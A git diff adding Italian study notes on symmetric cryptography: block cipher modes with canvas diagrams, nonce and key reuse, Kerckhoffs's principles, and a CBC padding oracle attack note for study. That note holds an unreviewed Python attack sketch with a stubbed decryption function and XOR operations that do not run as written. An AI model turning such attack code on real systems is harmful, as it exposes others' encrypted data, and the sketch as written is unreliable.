+	def decrypt(ciphertext) -> plaintext:
+		return key ^ ciphertext
+	return encrypt, decrypt
+```
+
+
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/operation mode di un cifrario a blocchi.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/operation mode di un cifrario a blocchi.md
new file mode 100644
index 0000000..c999e15
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/operation mode di un cifrario a blocchi.md	
@@ -0,0 +1 @@
+[[primitiva]] supplementare utilizzata per trasformare una [[keyed family of pseudo-random permutations]] in un [[cifrario a blocchi]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.canvas
new file mode 100644
index 0000000..030623b
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.canvas	
@@ -0,0 +1,40 @@
+{
+	"nodes":[
+		{"type":"group","id":"54b24190cc0c2d95","x":-600,"y":-40,"width":906,"height":590,"label":"Blocco #1"},
+		{"type":"group","id":"d9395512c0f95377","x":400,"y":640,"width":906,"height":590,"label":"Blocco #2"},
+		{"type":"group","id":"a061b0bbbcd98698","x":1400,"y":1280,"width":906,"height":590,"label":"Blocco #2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":155,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":110,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"15cffa4cd12ef9f9","x":-580,"y":340,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"10adf270090501ea","x":-114,"y":340,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"2dc4b34b669686ca","x":-114,"y":480,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"2ba3ba12e070a9d8","x":420,"y":835,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"864b568cb1c85850","x":420,"y":1020,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"4613f7cb09a53296","x":886,"y":790,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"075ca999420de6a5","x":886,"y":1020,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"cbc10ddd0e98d765","x":886,"y":1160,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"3270e9e07f996fe6","x":1420,"y":1475,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"706e82a40656a141","x":1886,"y":1430,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"72bfa82873f7f460","x":1420,"y":1660,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"2752bac628551374","x":1886,"y":1660,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"c8256012ce2c6e2a","x":1886,"y":1800,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/initialization vector.md","id":"de83cc734245ddbc","x":-114,"y":-20,"width":400,"height":50,"color":"2"}
+	],
+	"edges":[
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"c63c5c5ed9654515","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"10adf270090501ea","toSide":"top","color":"2"},
+		{"id":"944fc343ff953833","fromNode":"15cffa4cd12ef9f9","fromSide":"right","toNode":"10adf270090501ea","toSide":"left","color":"3"},
+		{"id":"c945a09c598c8bed","fromNode":"10adf270090501ea","fromSide":"bottom","toNode":"2dc4b34b669686ca","toSide":"top","color":"4"},
+		{"id":"4bee60901871bf98","fromNode":"2ba3ba12e070a9d8","fromSide":"right","toNode":"4613f7cb09a53296","toSide":"left","color":"6"},
+		{"id":"9e92c8132565ed83","fromNode":"4613f7cb09a53296","fromSide":"bottom","toNode":"075ca999420de6a5","toSide":"top","color":"2"},
+		{"id":"f20fc490f4bf0618","fromNode":"864b568cb1c85850","fromSide":"right","toNode":"075ca999420de6a5","toSide":"left","color":"3"},
+		{"id":"2fbf2bb3579cff05","fromNode":"075ca999420de6a5","fromSide":"bottom","toNode":"cbc10ddd0e98d765","toSide":"top","color":"4"},
+		{"id":"1ade868d9fc150d9","fromNode":"ceb56ed3d87a448c","fromSide":"right","toNode":"4613f7cb09a53296","toSide":"top","color":"2"},
+		{"id":"0c7be99267ed24b1","fromNode":"3270e9e07f996fe6","fromSide":"right","toNode":"706e82a40656a141","toSide":"left","color":"6"},
+		{"id":"0a31845efe38fb32","fromNode":"706e82a40656a141","fromSide":"bottom","toNode":"2752bac628551374","toSide":"top","color":"2"},
+		{"id":"be4c929056d906bb","fromNode":"72bfa82873f7f460","fromSide":"right","toNode":"2752bac628551374","toSide":"left","color":"3"},
+		{"id":"d00e34b6f15446dd","fromNode":"2752bac628551374","fromSide":"bottom","toNode":"c8256012ce2c6e2a","toSide":"top","color":"4"},
+		{"id":"990d3dfdba4e3a22","fromNode":"4613f7cb09a53296","fromSide":"right","toNode":"706e82a40656a141","toSide":"top","color":"2"},
+		{"id":"c98ea81955721650","fromNode":"de83cc734245ddbc","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.md
new file mode 100644
index 0000000..4f46864
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/output feedback operation mode.md	
@@ -0,0 +1,12 @@
+---
+aliases: ["OFB"]
+---
+
+# #Extra
+
+[[operation mode di un cifrario a blocchi]].
+
+
+## Diagramma
+
+![[output feedback operation mode.canvas]]
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md
new file mode 100644
index 0000000..1e12850
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding oracle attack.md	
@@ -0,0 +1,45 @@
+[[attacco]] avanzato che può essere effettuato da un [[adaptive chosen-ciphertext attacker]].
+
+## Codice di esempio per [[cipher block chaining operation mode|CBC]]
+
+> Non è stata effettuata una code review su questo codice.
+>
+> Utilizzatelo (anche per studiare) a vostro rischio e pericolo.
+
+```python
+# Un attaccante CCA2 conosce il ciphertext e ha accesso alla funzione di decifratura.
+cipherblock = b"abcdefgh"
+blocksize = len(cipherblock)
+decrypt = lambda plaintext: ...
+
+# Vogliamo trovare il contenuto dell'ultimo blocco di un plaintext.
+# Usiamo un array di bytes temporaneo in cui inseriamo le scoperte che abbiamo fatto.
+tempblock = bytearray(blocksize)
+
+# Per ogni byte del cyphertext...
+for idx, cipherbyte in enumerate(cipherblock):
+	# Per ogni possibile valore di un byte...
+	for byte in range(256):
+		# Crea un blocco vuoto, che farà da "initialization vector" per la funzione di decifratura
+		exploitblock = bytearray(blocksize)
+		# Imposta il byte corrente a `byte`
+		# (-idx-1) seleziona l'idxultimo byte
+		exploitblock[-idx-1] = byte
+		# Se esistono, imposta i byte successivi al corrente in modo tale da formare un padding valido
+		for nex in range(idx):
+			exploitblock[-nex-1] = byte ^ tempblock
+		# Prova a decifrare il nostro testo concatenato al blocco di ciphertext.
+		try:
+			resulttext = decrypt(exploitblock + cipherblock)
+		except PaddingError:
+			# Se la funzione dà un errore di padding, ricomincia con un valore di padding diverso.
+			continue
+		# Prendi l'ultimo blocco del testo risultante.
+		resultblock = resulttext[-blocksize:]
+		# Abbiamo trovato l'ultimo byte del blocco intermedio (e quindi anche del plaintext, ma ci arriveremo dopo)
+		tempblock[-idx-1] = byte ^ resultblock[-idx-1]
+		break
+
+# Invertiamo lo XOR e abbiamo trovato il plaintext!
+plainblock = cipherblock ^ tempblock
+```
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding.md
new file mode 100644
index 0000000..0f5faf4
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/padding.md	
@@ -0,0 +1 @@
+[[funzione ideale]] che aggiunge dati fittizi a un [[testo]] per allinearlo alla dimensione di un [[blocco]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/principi di Kerckhoffs.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/principi di Kerckhoffs.md
new file mode 100644
index 0000000..fcbd0be
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/principi di Kerckhoffs.md	
@@ -0,0 +1,12 @@
+# #Extra 
+
+Principi (obsoleti) da cui nasce la [[crittografia simmetrica moderna]].
+
+> 1. Il sistema deve essere *praticamente*, se non *matematicamente*, indecifrabile.
+> 2. Questo non deve essere segreto, deve poter cadere nelle mani del nemico senza inconvenienti.
+> 3. La sua chiave deve essere comunicabile senza l'aiuto di note scritte, e sostituibile o modificabile a piacimento dei corrispondenti.
+> 4. Deve essere applicabile alla corrispondenza telegrafica.
+> 5. Deve essere portatile e il suo utilizzo e uso non deve richiedere il concorso di più persone.
+> 6. È necessario che la sua applicazione sia facile da usare e che non richieda la conoscenza e l'uso di una lunga serie di regole.
+> 
+> —Auguste Kerckhoffs, 1880
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/random permutation.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/random permutation.md
new file mode 100644
index 0000000..8724bbd
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/random permutation.md	
@@ -0,0 +1 @@
+[[risultato]] di una [[keyed family of pseudo-random permutations]] utilizzato in un [[cifrario a blocchi]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/rc.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/rc.md
new file mode 100644
index 0000000..95655c1
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/rc.md	
@@ -0,0 +1 @@
+[[deterministic pseudo-random bitstring generator]] deprecato.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md
new file mode 100644
index 0000000..d662f5d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md	
@@ -0,0 +1 @@
+[[mitigazione]] al [[riutilizzo di nonce]] che consiste nel cambiare chiave dopo un certo numero di messaggi scambiati.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi nell'one-time pad.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi nell'one-time pad.md
new file mode 100644
index 0000000..cf8dda9
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi nell'one-time pad.md	
@@ -0,0 +1,15 @@
+L'[[one-time pad]] è suscettibile al [[riutilizzo di chiavi]], considerando che:
+
+$$ciphertext_1 = plaintext_1 \oplus key \qquad ciphertext_2 = plaintext_2 \oplus key$$
+
+Si può dire che:
+
+$$ciphertext_1 \oplus ciphertext_2 = (plaintext_1 \oplus key) \oplus (plaintext_2 \oplus key)$$
+
+Applicando la proprietà associativa dello [[XOR]], però:
+
+$$(plaintext_1 \oplus key) \oplus (plaintext_2 \oplus key) = (plaintext_1 \oplus plaintext_2) \oplus (key \oplus key)$$
+
+E visto che l'elemento nullo dello [[XOR]] è l'operando stesso a cui viene applicato:
+
+$$(plaintext_1 \oplus plaintext_2) \oplus (key \oplus key) = plaintext_1 \oplus plaintext_2$$
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi.md
new file mode 100644
index 0000000..07e2c2c
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di chiavi.md	
@@ -0,0 +1 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di alcuni protocolli crittografici che ne annulla le garanzie di sicurezza se la [[chiave simmetrica]] viene utilizzata per cifrare due plaintext diversi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md
new file mode 100644
index 0000000..516ab37
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md	
@@ -0,0 +1 @@
+[[8 - Crittografia applicata/1 - Concetti/2 - Dimostrare la validità delle soluzioni/debolezza]] di alcuni [[protocollo|protocolli crittografici]] che ne annulla le garanzie di sicurezza se uno stesso [[nonce]] viene utilizzato per cifrare due plaintext diversi.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.canvas
new file mode 100644
index 0000000..c4143f7
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.canvas	
@@ -0,0 +1,44 @@
+{
+	"nodes":[
+		{"type":"group","id":"aff1540344aec5dc","x":-600,"y":-40,"width":906,"height":560,"label":"Blocco #1"},
+		{"type":"group","id":"3bf5ac984ec7121d","x":400,"y":600,"width":906,"height":560,"label":"Blocco #2"},
+		{"type":"group","id":"05de79cfc3fc3ab7","x":1400,"y":1240,"width":906,"height":560,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"f6a5be7e48515ae7","x":-114,"y":-20,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"45cd6bfae1448dc1","x":-114,"y":100,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-580,"y":265,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":220,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"e5cbf46b321559ad","x":-114,"y":440,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"08b801e8a5c35432","x":420,"y":905,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md","id":"b1da24ce5624a63a","x":-580,"y":75,"width":400,"height":100,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"adbd02247a507bde","x":886,"y":740,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"d1f7d469f3d0fe49","x":886,"y":620,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"fc3b47820b152df4","x":886,"y":860,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"86e140076b0ce018","x":886,"y":1080,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"d87a3a68bda96ae7","x":1886,"y":1380,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"36713dd7821cda9e","x":1886,"y":1500,"width":400,"height":140,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"ace1889e1ff489fd","x":1420,"y":1545,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"4eb6e5a9f3d37b15","x":1886,"y":1720,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"93f19401fe83cd08","x":1886,"y":1260,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"d607cd78aea7831c","x":-1080,"y":140,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"b8afecdbd932c652","x":-1080,"y":60,"width":400,"height":50,"color":"3"}
+	],
+	"edges":[
+		{"id":"3a68ae4c18b31f4e","fromNode":"ceb56ed3d87a448c","fromSide":"bottom","toNode":"e5cbf46b321559ad","toSide":"top","color":"4"},
+		{"id":"67710f4f0376f650","fromNode":"9877bbe3ff78bae6","fromSide":"right","toNode":"ceb56ed3d87a448c","toSide":"left","color":"6"},
+		{"id":"4715627db4b7bb94","fromNode":"f6a5be7e48515ae7","fromSide":"bottom","toNode":"45cd6bfae1448dc1","toSide":"top","color":"3"},
+		{"id":"cd43092938be8a38","fromNode":"45cd6bfae1448dc1","fromSide":"bottom","toNode":"ceb56ed3d87a448c","toSide":"top","color":"2"},
+		{"id":"a57ad92418552333","fromNode":"d1f7d469f3d0fe49","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"top","color":"3"},
+		{"id":"ac23798265ece9af","fromNode":"adbd02247a507bde","fromSide":"bottom","toNode":"fc3b47820b152df4","toSide":"top","color":"2"},
+		{"id":"a873b11b6432e42f","fromNode":"08b801e8a5c35432","fromSide":"right","toNode":"fc3b47820b152df4","toSide":"left","color":"6"},
+		{"id":"7c672e7a1c2c2b2e","fromNode":"fc3b47820b152df4","fromSide":"bottom","toNode":"86e140076b0ce018","toSide":"top","color":"4"},
+		{"id":"848c1a0633fd208f","fromNode":"93f19401fe83cd08","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"top","color":"3"},
+		{"id":"7d7d7f0efdecdffe","fromNode":"d87a3a68bda96ae7","fromSide":"bottom","toNode":"36713dd7821cda9e","toSide":"top","color":"2"},
+		{"id":"131d4b46135e5e35","fromNode":"36713dd7821cda9e","fromSide":"bottom","toNode":"4eb6e5a9f3d37b15","toSide":"top","color":"4"},
+		{"id":"240a85a2003a7070","fromNode":"ace1889e1ff489fd","fromSide":"right","toNode":"36713dd7821cda9e","toSide":"left","color":"6"},
+		{"id":"17efcb88209a5151","fromNode":"86e140076b0ce018","fromSide":"bottom","toNode":"d87a3a68bda96ae7","toSide":"left","color":"4"},
+		{"id":"a5f0f1df271f0cf7","fromNode":"e5cbf46b321559ad","fromSide":"bottom","toNode":"adbd02247a507bde","toSide":"left","color":"4"},
+		{"id":"73725ca74d1b6014","fromNode":"b1da24ce5624a63a","fromSide":"right","toNode":"45cd6bfae1448dc1","toSide":"left","color":"2"},
+		{"id":"d40a92d83e0022cf","fromNode":"d607cd78aea7831c","fromSide":"right","toNode":"b1da24ce5624a63a","toSide":"left","color":"6"},
+		{"id":"2d2d52d70eef588c","fromNode":"b8afecdbd932c652","fromSide":"right","toNode":"b1da24ce5624a63a","toSide":"left","color":"2"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.md
new file mode 100644
index 0000000..6badf67
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector operation mode.md	
@@ -0,0 +1,19 @@
+---
+aliases: ["SIV"]
+---
+
+[[operation mode di un cifrario a blocchi]] che sostituisce un [[synthetic initialization vector]] al nonce o all'initialization vector.
+
+Consuma **due** [[chiave simmetrica|chiavi simmetriche]], in quanto la prima viene usata per la generazione del synthetic initialization vector, mentre la seconda per la funzione di cifratura.
+
+## Diagramma
+
+![[synthetic initialization vector operation mode.canvas]]
+
+## Svantaggi
+
+L'intero plaintext deve essere conosciuto all'inizio della cifratura, in quanto è necessario per generare il [[synthetic initialization vector]].
+
+## #Extra Vedi anche
+
+- [RFC 5297](https://www.rfc-editor.org/rfc/rfc5297)
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md
new file mode 100644
index 0000000..9ab053a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/synthetic initialization vector.md	
@@ -0,0 +1,3 @@
+[[initialization vector]] [[derivato]].
+
+Permette di mitigare il [[riutilizzo di nonce]] o il [[determinismo dell'initialization vector]], in quanto essi non vengono utilizzati direttamente nella funzione di cifratura, ma vengono usati per generare il *synthetic initialization vector* stesso, che prende il loro posto.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/uniforme.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/uniforme.md
new file mode 100644
index 0000000..7e5c71a
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/uniforme.md	
@@ -0,0 +1 @@
+[[Dato]] dalla dimensione fissa.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/★ mappa concettuale.canvas
new file mode 100644
index 0000000..1b3ce84
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/★ mappa concettuale.canvas	
@@ -0,0 +1,139 @@
+{
+	"nodes":[
+		{"type":"group","id":"b759d8cb955fad43","x":740,"y":3620,"width":4920,"height":8560,"color":"6","label":"Cifrari a blocchi"},
+		{"type":"group","id":"c4e30f85be9b008b","x":740,"y":1580,"width":4920,"height":1900,"color":"6","label":"Cifrari a flusso"},
+		{"type":"group","id":"b23a867946a7e2d5","x":740,"y":460,"width":4920,"height":1000,"color":"6","label":"One-time pad"},
+		{"type":"group","id":"fa091c3b2e4eb369","x":-2060,"y":-1940,"width":1000,"height":3480,"color":"1","label":"Attacco"},
+		{"type":"group","id":"1ecc0d7c1173c33d","x":1320,"y":-1940,"width":1000,"height":2240,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/rc.md","id":"dee72d66499df73d","x":2440,"y":2760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/ChaCha20.md","id":"5204a36bd9474350","x":3560,"y":2760,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XChaCha20.md","id":"816321233cd58034","x":4120,"y":2760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/A51.md","subpath":"#A5/1","id":"cced3abdc1136d10","x":3000,"y":2760,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/limite di dati cifrabili.md","id":"9e86e2e64eeedbf2","x":2440,"y":2160,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dei cifrari a flusso.md","id":"a236ab0cf2b25472","x":2440,"y":1600,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/re-keying.md","id":"72d002568d84c044","x":4120,"y":2160,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/riutilizzo di nonce.md","id":"5c5713c208f041f3","x":3560,"y":2160,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/one-time pad.md","id":"4681bb0c389a526d","x":760,"y":480,"width":1520,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/deterministic pseudo-random bitstring generator.md","id":"8eb2ecd11a75091e","x":1880,"y":3020,"width":400,"height":440},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"57a407bccaccfe80","x":-920,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md","id":"9365ca15ee7992cb","x":-2040,"y":400,"width":960,"height":560},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/famiglia di funzioni pseudo-casuali.md","id":"8e6956a794fa9959","x":-360,"y":480,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/cifrario a flusso.md","id":"21320d8c844dc3ac","x":760,"y":2480,"width":1520,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/nonce.md","id":"bdf570d38f995880","x":760,"y":3040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keystream.md","id":"d7df80f0c78f4424","x":1320,"y":3040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità dell'one-time pad.md","id":"62d2e803eb09f41c","x":2440,"y":480,"width":960,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/malleabilità.md","id":"1c1ae361e19aba57","x":3560,"y":480,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"45cdca5abb2367a8","x":760,"y":1040,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/crittografia simmetrica moderna.md","id":"fab2abdee9c5ea68","x":-80,"y":-160,"width":400,"height":400,"color":"#ffffff"},
